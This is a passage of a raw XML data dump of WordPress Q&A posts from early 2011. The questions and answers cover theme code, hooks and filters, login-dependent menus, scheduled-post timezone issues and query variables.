?&amp;gt;&amp;lt;/div&amp;gt;&#xA;  &amp;lt;p&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;div class=&quot;post-bottom&quot;&amp;gt;&#xA;   &amp;lt;?php if ( count( get_the_category() ) ) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-28T14:20:59.713" LastActivityDate="2011-01-28T14:24:13.250" Title="Anchor tag in the entry-utility section ( the Posted in...part) appears from nowhere?" Tags="&lt;untagged&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="7985" PostTypeId="2" ParentId="7984" CreationDate="2011-01-28T13:34:35.517" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@janoChen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function &lt;code&gt;get_the_category_list()&lt;/code&gt; in &lt;code&gt;/wp-includes/category-template.php&lt;/code&gt; adds the anchors that you are asking about.  You can find it on line 175 in WordPress v3.0.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also notice that you posted what looks like an object inspector from Chrome or Safari.  Sometimes when the code that is output is not valid HTML because of what can be contained and what cannot the object inspector will show the DOM view which differs from &lt;em&gt;&quot;View Source&quot;&lt;/em&gt;.  You can inspect the source and see if it is different from the object inspector?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-28T13:34:35.517" CommentCount="1" />
  <row Id="7986" PostTypeId="2" ParentId="7984" CreationDate="2011-01-28T14:24:13.250" Score="0" ViewCount="" Body="&lt;p&gt;I figured out why,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There wasn't an anchor tag which wasn't properly closed in the line above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_excerpt_more($more) {&#xA;    global $post;&#xA;    return '&amp;lt;p class=&quot;read-more&quot;&amp;gt;&amp;lt;a href=&quot;'. get_permalink($post-&amp;gt;ID) . '&quot;&amp;gt;Read more&amp;lt;a&amp;gt;&amp;lt;/p&amp;gt;';&#xA;}&#xA;add_filter('excerpt_more', 'new_excerpt_more', 100);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-01-28T14:24:13.250" />
  <row Id="7987" PostTypeId="1" AcceptedAnswerId="7988" CreationDate="2011-01-28T14:28:24.830" Score="1" ViewCount="200" Body="&lt;p&gt;I found a code scrap on the internet which uses&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($user_id) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_user_logged_in() ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to check if the user is logged in.  I would assume that the first would be slightly faster because it's not running a function, but can anyone verify that this would always work?&lt;/p&gt;&#xA;" OwnerUserId="2044" LastActivityDate="2011-01-28T14:44:58.733" Title="$user_id vs. is_user_logged_in()" Tags="&lt;admin&gt;&lt;functions&gt;&lt;users&gt;" AnswerCount="1" />
  <row Id="7988" PostTypeId="2" ParentId="7987" CreationDate="2011-01-28T14:44:58.733" Score="7" ViewCount="" Body="&lt;p&gt;Well it wouldn't always work unless you global $user_id. is_user_logged_in will however work without that extra line of code. The speed improvement is most likely so small it's less than the speed improvement between single and double quotes and not even worth thinking about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also $user_id variable may disappear in a new version and would promptly break your code, were as is_user_logged_in will be about for ages even if they decide to deprecate it.&lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-01-28T14:44:58.733" CommentCount="3" />
  <row Id="7989" PostTypeId="1" CreationDate="2011-01-28T16:12:48.547" Score="0" ViewCount="76" Body="&lt;p&gt;I have one idea and I'm just thinking about pros/cons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a website powered by PHP and need to recreate its admin area. I'm thinking to do that in Wordpress... I mean to install wordpress and plugins for it which will be used to admin the other site. There are several advantages e.g. very easy to create new features (admin pages), admins/roles management (there are more admins already with different privileges needed) and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think about this ? I know there is no exact answer for this but your opinion helps me to get decision.&lt;/p&gt;&#xA;" OwnerUserId="1822" LastActivityDate="2011-03-29T17:38:39.353" Title="Wordpress admin area used to administer other site" Tags="&lt;admin&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7990" PostTypeId="2" ParentId="7929" CreationDate="2011-01-28T16:21:25.763" Score="0" ViewCount="" Body="&lt;p&gt;Yes, this is possible and something I've created in several forms in the past for working with a few hundred sites run by my employer.  I've even created a &quot;Log in as User&quot; feature where after verifying my rights, I could see exactly what the user was seeing. It was incredibly helpful for duplicating issues that occurred for one user and not another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your solution will have to be hand built by you, as few people will share this type of tool as low level tools like this the skill to create it is often considered a prerequisite for using it.  You can obviously look into the login is processed now by WordPress to see where you need to add your code.  In short, figure out how WordPress logins work and go from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like others have an issue with you creating something your client doesn't know about and cannot remove.  The fact that you are still named User2774 after two days and have no other questions to your name sure makes it look like you feel you need to hide this from your customers because they would not agree with the concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are legitimate and professional, you should do this in the open and inform your clients that it exists. You should proudly install the &quot;User2774 Client Support Plugin&quot; and as you are not hosting it on your own servers, allow them to deactivate it when you part ways.  Gracefully allowing a client to chose a competitor is not a negative thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, legitimate or not, installing hidden back doors in someone else's system opens you for liability when something does go wrong.  Chances are you are not an LLC yet and would be personable liable if something bad happens &amp;amp; have to prove you and your back door had nothing to do with it.&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2011-01-28T16:21:25.763" />
  <row Id="7991" PostTypeId="1" AcceptedAnswerId="8015" CreationDate="2011-01-28T16:49:18.877" Score="0" ViewCount="472" Body="&lt;p&gt;I try to change the main loop in such a way:&#xA;I have a meta key for displaying featured items, that should be shown only on the home page of the a blog. I pull them in a code separate from the main loop, something like - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$leading = get_posts('showposts=5&amp;amp;meta_key=_pull_leading3&amp;amp;meta_value=on');      &#xA;    foreach ($leading as $post) : &#xA;        setup_postdata($post);&#xA;        //some code to show posts data&#xA;    endforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the main loop, I want to show only posts that are not assigned as featured, so I alter the main loop with query_posts : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('posts_per_page=7&amp;amp;paged='.$paged.'&amp;amp;meta_key=_pull_leading3&amp;amp;meta_value=off');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Till here everything is ok.&#xA;But, I also want that if I go to any other older pages, I will get the featured posts again, if they should be there naturally via the regular order.&#xA;In this case, since I use the meta values, I don't get them.&#xA;If I try something like this  - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_home() &amp;amp;&amp;amp; $paged == '0') {  //$paged value is 0 on 1st page and not 1 !          &#xA;        query_posts('posts_per_page=7&amp;amp;paged='.$paged.'&amp;amp;meta_key=_pull_leading3&amp;amp;meta_value=off');                         &#xA;      }&#xA;      else {&#xA;        query_posts('posts_per_page=7&amp;amp;paged='.$paged);          &#xA;      } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then on page #2 I do get the posts as needed, but i is repeating part of the posts that were on page #1 (home page) (Since in homepage loop I showed only posts that are not featured, so since that part of the posts already shown there, and now should be excluded from page #2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I alter the main loop in a way that the main page will show the posts that are not featured, and that the other $paged pages will show posts in a native way, no matter if they are featured or not, and without repeating posts from the previous page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really hope I succeed to explain my issue...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Maor&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2011-06-28T15:18:33.503" Title="Modify main loop query for paged and meta key" Tags="&lt;query-posts&gt;&lt;loop&gt;&lt;pagination&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="7992" PostTypeId="2" ParentId="7989" CreationDate="2011-01-28T17:05:50.143" Score="1" ViewCount="" Body="&lt;p&gt;I am honestly not sure if this is a good idea. You can probably get it working but it feels more like a working against the system rather than natural synergy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had you considered just migrating site to WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way take a look at &lt;a href=&quot;http://backpress.org/&quot; rel=&quot;nofollow&quot;&gt;BackPress&lt;/a&gt; - some of related WordPress features, abstracted into standalone framework.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-28T17:05:50.143" CommentCount="1" />
  <row Id="7993" PostTypeId="1" AcceptedAnswerId="8009" CreationDate="2011-01-28T17:11:40.120" Score="0" ViewCount="126" Body="&lt;p&gt;I am in trouble, I need help. Whenever I edit any theme code in my dashboard/appearance/editor and try to save it, the file is not saved and it automatically directs me to the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why is this happening. I cleared the cache through the W3-Total Cache plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few hours before I did the same process, it was working perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now some problem is there with WordPress. I also tried this in a different browser, but the same things happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the latest version of WordPress.&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="49" LastEditorDisplayName="" LastEditDate="2011-01-28T22:37:34.050" LastActivityDate="2011-01-28T22:37:34.050" Title="Redirecting to home-page when saving any edited code" Tags="&lt;redirect&gt;&lt;homepage&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7994" PostTypeId="2" ParentId="1567" CreationDate="2011-01-28T17:52:16.480" Score="1" ViewCount="" Body="&lt;h2&gt;Remove &lt;code&gt;role=&quot;search&quot;&lt;/code&gt; attributes for &lt;code&gt;get_search_form()&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_role_search($role)&#xA;{&#xA;    $result = array();&#xA;    preg_match_all('|role=&quot;[^&quot;]*&quot;|U', $role, $result);&#xA;    foreach ($result[0] as $role_tag) {&#xA;        $role = str_replace($role_tag, '', $role);&#xA;    }&#xA;    return $role;&#xA;}&#xA;add_filter('get_search_form', 'remove_role_search');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2163" LastActivityDate="2011-01-28T17:52:16.480" CommunityOwnedDate="2011-01-28T17:52:16.480" />
  <row Id="7995" PostTypeId="1" CreationDate="2011-01-28T18:01:19.453" Score="1" ViewCount="255" Body="&lt;p&gt;Update: I've confirmed the problem (that scheduled posts are based on UTC time), now just need advice and background to determine best solution. Questions:&lt;br&gt;&#xA;&lt;strong&gt;1)&lt;/strong&gt; how WP determines UTC time before calculating local timezone offset  (i.e. does it use server OS time or some other source--can't find in codex/googling)&lt;br&gt;&#xA;..which would help me answer..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2)&lt;/strong&gt; is changing server time from UTC to local PST the only/best way to make scheduled posts use the same timezone as WP-time? and&lt;br&gt;&#xA;&lt;strong&gt;2a)&lt;/strong&gt; are there any potential negative implications to changing server time from UTC to local?&lt;br&gt;&#xA;&lt;strong&gt;3)&lt;/strong&gt; what's the best way to change server time in an accurate way--when I set a clock, it doesn't have to be exactly right, but I'd be concerned about manually setting the time on a server.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi all-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem: First, WP started missing publication of scheduled posts. This seems to be a widely-experienced issue, and I fixed it by using the &quot;missed schedule&quot; plugin. This is probably, but not necessarily, irrelevant background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Soon after a move to a new server, WP started publishing scheduled posts early, which to me, can only point to misconfigured time/date settings somewhere in our stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stack: LNMP, one nginx box, one db/memcache/php box (though I didn't, and couldn't, build it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, there are 4 places in our stack where time is set/relied upon: in WordPress General Settings (set to PST, but also correctly displays UTC server time), for PHP5 in php.ini (was set to central time where the new server is, but I updated to PST and restarted php-fpm once I realized PHP5 has a timezone setting, decreasing the discrepancy by 2 hours), and each box's OS (both are set to UTC time, which I have been assuming is ok because WP recognizes it as such as can still set its 'own' time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet, I'm currently watching something occur that shouldn't be possible. A post was set to publish at 9:30am pst, but published at 1:30am pst instead (9:30am utc). This caused the &quot;published X ago&quot; relative timestamp on the post to count backwards from 8 hours, and then start counting up again at 9:30am pst. To me, this means that while the post scheduler (seemingly) should be looking to the (correctly configured) local WP time (as the frontend is), it's instead using UTC (server) time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution options:&lt;br&gt;&#xA;A. re-set both boxes' OS, plus PHP, plus all WP blogs to only use utc time, and instruct all editorial to live in UTC.&lt;br&gt;&#xA;B. re-set both boxes' OS to PST to match PHP and WP. &lt;strong&gt;It seems like this is probably the solution (since the post published on server/UTC time)&lt;/strong&gt;, but I'm a *nix n00b and just want to make sure that I should use 'date -s' and just try to be as accurate as possible, &lt;strong&gt;or if it would be smarter just to leave a host support ticket asking them to sync both servers' times to PST?&lt;/strong&gt; (or if there's a better way to be precise about it) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I don't get:&lt;br&gt;&#xA;A. Why does the post scheduler disregards &quot;WP time&quot; to make its calculation of when to publish?&#xA;(update: I think the answer is here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_event&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_schedule_event&lt;/a&gt; - it parses time via unix timestamp directly, rather than through wp?)&lt;br&gt;&#xA;B. Why even have WP settings separating UTC time from local time, if all functions don't calculate time from the same source?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this is an issue:&lt;br&gt;&#xA;We have 15 sites, with primary site users in different timezones. Ideally, they could set WP &quot;local time&quot; per blog, and have all post scheduling and functions rely on that specified time. If scheduling is based on server time, this seems impossible.&lt;/p&gt;&#xA;" OwnerUserId="2786" LastEditorUserId="2786" LastEditorDisplayName="" LastEditDate="2011-01-29T20:45:41.033" LastActivityDate="2011-01-29T20:45:41.033" Title="timestamp and scheduled post irregularities" Tags="&lt;date-time&gt;&lt;server&gt;&lt;scheduled-posts&gt;&lt;timezones&gt;&lt;timestamp&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7996" PostTypeId="2" ParentId="7995" CreationDate="2011-01-28T18:12:12.900" Score="1" ViewCount="" Body="&lt;p&gt;For starters try &lt;a href=&quot;http://wordpress.org/extend/plugins/core-control/&quot; rel=&quot;nofollow&quot;&gt;Core Control&lt;/a&gt; plugin to see if scheduled tasks are accurately assigned. Scheduled posts will show up as &lt;code&gt;publish_future_post&lt;/code&gt; &gt; &lt;code&gt;check_and_publish_future_post()&lt;/code&gt; with post's ID as argument.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-28T18:12:12.900" CommentCount="9" />
  <row Id="7997" PostTypeId="1" AcceptedAnswerId="7998" CreationDate="2011-01-28T18:22:18.867" Score="0" ViewCount="92" Body="&lt;p&gt;I'm adding this filter when the condition is true. Can I add another function on the same filter when the 2nd condition is true or will the last one cancel out the previous one?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(get_option('my_nofollow_flag'){&#xA;    add_filter('wp_insert_post_data', 'save_add_nofollow' );&#xA;}&#xA;&#xA;if(get_option('my_second_option'){&#xA;    add_filter('wp_insert_post_data', 'another_function' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-28T18:33:14.387" Title="add_filter multiple times with different addon functions?" Tags="&lt;filters&gt;" AnswerCount="1" />
  <row Id="7998" PostTypeId="2" ParentId="7997" CreationDate="2011-01-28T18:26:39.917" Score="6" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Absolutely. That's part of the design of the system, you can add as many as you need &lt;em&gt;(other plugins do.)&lt;/em&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only issue is if you might need to address which one runs first and that's when you may have to set the &lt;em&gt;priority.&lt;/em&gt;  In the below example the third one would run first and the second one would run last:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data','norm_priority_func'); // 10=default priority &#xA;add_filter('wp_insert_post_data','run_last_funcn', 11 );  &#xA;add_filter('wp_insert_post_data','run_first_func', 9 );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course when you have needs to set priorities you can find it may cause conflict with other plugins that set a priority higher or lower. Typical places where this happens is when you want a hook to run either before or after all others. Are 0 and 100 sufficient priorities?  Not if another plugin used -1 and 101; see the quandry? Anyway, that's usually not an issue but when it is, it is.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-28T18:33:14.387" LastActivityDate="2011-01-28T18:33:14.387" CommentCount="1" />
  <row Id="7999" PostTypeId="1" AcceptedAnswerId="8000" CreationDate="2011-01-28T18:33:06.133" Score="0" ViewCount="233" Body="&lt;p&gt;How can i change my front end menu depending on if the user is logged in or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View 1: user is not logged in &lt;br/&gt;&#xA;menu is : home , about us, testimonials&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View 2: user is logged in &lt;br/&gt;&#xA;menu is : dashboard, my profile, support&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="413" LastEditorUserId="413" LastEditorDisplayName="" LastEditDate="2011-01-28T22:30:11.437" LastActivityDate="2011-01-28T22:30:11.437" Title="change front end menu depending on user login" Tags="&lt;menus&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8000" PostTypeId="2" ParentId="7999" CreationDate="2011-01-28T18:42:26.777" Score="6" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@rxn:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Define two menus and serve them based on if they are logged in or not which you can do in your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_user_logged_in()){&#xA;  wp_nav_menu( array(&#xA;    'menu'            =&amp;gt; 'Logged In Menu',&#xA;    'container_class' =&amp;gt; 'logged-in-menu',&#xA;    'theme_location'  =&amp;gt; 'logged-in'&#xA;  ));&#xA;} else {&#xA;  wp_nav_menu( array(&#xA;    'menu'            =&amp;gt; 'Visitor Menu',&#xA;    'container_class' =&amp;gt; 'visitor-menu',&#xA;    'theme_location'  =&amp;gt; 'visitor'&#xA;  ));&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll also need to register their theme locations which you can do in your theme's &lt;code&gt;functions.php&lt;/code&gt; file as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_nav_menus( array(&#xA;  'logged-in'  =&amp;gt; __( 'Logged-in Menu Area',  'yourtheme' ),&#xA;  'visitor' =&amp;gt; __( 'Visitor Menu Area', 'yourtheme' ),&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you'll have to assign those menus to their menu locations in the admin, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110128-135353.png&quot; alt=&quot;WordPress Admin Menu Locations&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-28T18:55:01.147" LastActivityDate="2011-01-28T18:55:01.147" CommentCount="3" />
  <row Id="8002" PostTypeId="1" AcceptedAnswerId="8004" CreationDate="2011-01-28T18:45:46.793" Score="0" ViewCount="125" Body="&lt;p&gt;How do I customize how my theme shows up in the list of available themes in the Admin console, under the &quot;Appearance&quot; -&gt; &quot;Themes&quot; section.&#xA;I need to change stuff like the theme name, author, and description.&lt;/p&gt;&#xA;" OwnerUserId="2787" LastEditorUserId="2787" LastEditorDisplayName="" LastEditDate="2011-01-28T18:59:20.277" LastActivityDate="2011-01-28T19:13:47.863" Title="Customize how a Wordpress theme looks like in the Theme Selector" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;customization&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="8003" PostTypeId="2" ParentId="8002" CreationDate="2011-01-28T18:56:21.863" Score="1" ViewCount="" Body="&lt;p&gt;You mean under Admin-&gt;Presentation-&gt;Themes? Then it is like &lt;a href=&quot;http://computeraxe.com/theme-description-for-wordpress-blog-lies-in-the-stylesheet/&quot; rel=&quot;nofollow&quot;&gt;http://computeraxe.com/theme-description-for-wordpress-blog-lies-in-the-stylesheet/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2788" LastActivityDate="2011-01-28T18:56:21.863" CommentCount="1" />
  <row Id="8004" PostTypeId="2" ParentId="8002" CreationDate="2011-01-28T18:56:25.963" Score="7" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Farinha:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to create a &lt;code&gt;screenshot.png&lt;/code&gt; and store it in the theme directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the directory for the TwentyTen theme:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110128-135814.png&quot; alt=&quot;Screenshot of WordPress TwentyTen theme directory&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That of course looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110128-135930.png&quot; alt=&quot;WordPress TwentyTen theme screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To update the theme name, author, and description you modify the header of the style.css file. Take the one from TwentyTen as an example; everything but &lt;code&gt;Theme Name:&lt;/code&gt; is optional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Theme Name: Twenty Ten&#xA;Theme URI: http://wordpress.org/&#xA;Description: The 2010 theme for WordPress is stylish, customizable, simple, and readable -- make it yours with a custom menu, header image, and background. Twenty Ten supports six widgetized areas (two in the sidebar, four in the footer) and featured images (thumbnails for gallery posts and custom header images for posts and pages). It includes stylesheets for print and the admin Visual Editor, special styles for posts in the &quot;Asides&quot; and &quot;Gallery&quot; categories, and has an optional one-column page template that removes the sidebar.&#xA;Author: the WordPress team&#xA;Version: 1.1&#xA;Tags: black, blue, white, two-columns, fixed-width, custom-header, custom-background, threaded-comments, sticky-post, translation-ready, microformats, rtl-language-support, editor-style&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-28T19:13:47.863" LastActivityDate="2011-01-28T19:13:47.863" CommentCount="4" />
  <row Id="8006" PostTypeId="1" CreationDate="2011-01-28T19:50:54.803" Score="0" ViewCount="150" Body="&lt;p&gt;I tried to have a siderbar registered at the &quot;init&quot; hook based on a variable from the theme options array indicating whether the sidebar should be used in the design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it appears that that the condition works fine (tested with some other code) but if I use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action( 'init', 'register_sidebar_x' );&lt;/code&gt;&#xA;or&#xA;&lt;code&gt;add_action( 'wp_loaded', 'register_sidebar_x' );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;based on the condition being true, nothing happens, and the sidebar won't be registered, while it will be registered just using the code outside of the control structure using either hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it appears that the init function is executed before the functions.php has access to the theme options array (which is included). The control structure works with &quot;wp_head&quot;, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is - from what hook on is it possible to use conditionals and is there one that can be used to register sidebars after that point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, here's the current code trying to incorporate some suggestions from below... The sidebar is registered just fine if I'm not testing for the condition, but the condition clearly is 'yes'. Is there any way to conditionally register sidebars?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'after_setup_theme', 'aad_theme_setup' );&#xA;&#xA;function aad_theme_setup() {&#xA;&#xA;    if ( function_exists( 'get_option_tree') ) {&#xA;        $theme_options = get_option('option_tree');&#xA;    }&#xA;&#xA;    if ($theme_options['aad_sliding_sidebar']=='yes') {&#xA;        add_action( 'widgets-init', 'aad_register_sidebar_function' );  &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it still doesn't work... thanks for any additional suggestions!&lt;/p&gt;&#xA;" LastActivityDate="2011-01-30T00:21:17.380" Title="From what hook on is it possible to conditionally add actions?" Tags="&lt;sidebar&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="8007" PostTypeId="2" ParentId="8006" CreationDate="2011-01-28T20:08:32.580" Score="1" ViewCount="" Body="&lt;p&gt;I found this on the codex&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can only use conditional query tags on or after the init action hook in WordPress. For themes, this means the conditional tag will never work properly if you are using it in the body of functions.php, i.e. outside of a function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;you don't need to hook the register sidebar function just call it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'after_setup_theme', 'aad_theme_setup' );&#xA;&#xA;function aad_theme_setup() {&#xA;&#xA;    if ( function_exists( 'get_option_tree') ) {&#xA;        $theme_options = get_option('option_tree');&#xA;    }&#xA;get_option_tree&#xA;    if ($theme_options['aad_sliding_sidebar']=='yes') {&#xA;        aad_register_sidebar_function();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but make sure that you can access your option_tree option because you are checking if &#xA;&quot;get_option_tree&quot; function exists but you are using &quot;get_option&quot; and also maybe but just maybe in your code you are calling &quot;aad_register_sidebar_function()&quot; instead of &quot;add_register_sidebar_function()&quot; two &quot;aa&quot; and not two &quot;dd&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-30T00:21:17.380" LastActivityDate="2011-01-30T00:21:17.380" CommentCount="5" />
  <row Id="8008" PostTypeId="1" CreationDate="2011-01-28T20:20:58.847" Score="1" ViewCount="273" Body="&lt;p&gt;I tired to use &lt;code&gt;isset($queryvar)&lt;/code&gt; but that didnt work, so I implemented my own function &lt;code&gt;qv_isset&lt;/code&gt;, but it runs into a problem when &lt;code&gt;$ch&lt;/code&gt; is set to 0.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cls = get_query_var('cls');&#xA;$ch = get_query_var('ch');&#xA;&#xA;function qv_isset($var) {&#xA;    if($var == '') { return false; &#xA;    } else { return true; }&#xA;}&#xA;&#xA;if(qv_isset($cls) &amp;amp;&amp;amp; qv_isset($ch)) {&#xA;    mcs_textbook_chapter($dialect, $cls, $ch);&#xA;} elseif(qv_isset($cls)) {              &#xA;    mcs_textbook_chapter($dialect, $cls);&#xA;} else {&#xA;    mcs_textbook($dialect);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T15:05:45.887" LastActivityDate="2011-02-06T15:32:35.547" Title="How to tell if $query_var isset?" Tags="&lt;query&gt;&lt;coding&gt;&lt;variables&gt;" AnswerCount="4" CommentCount="1" />
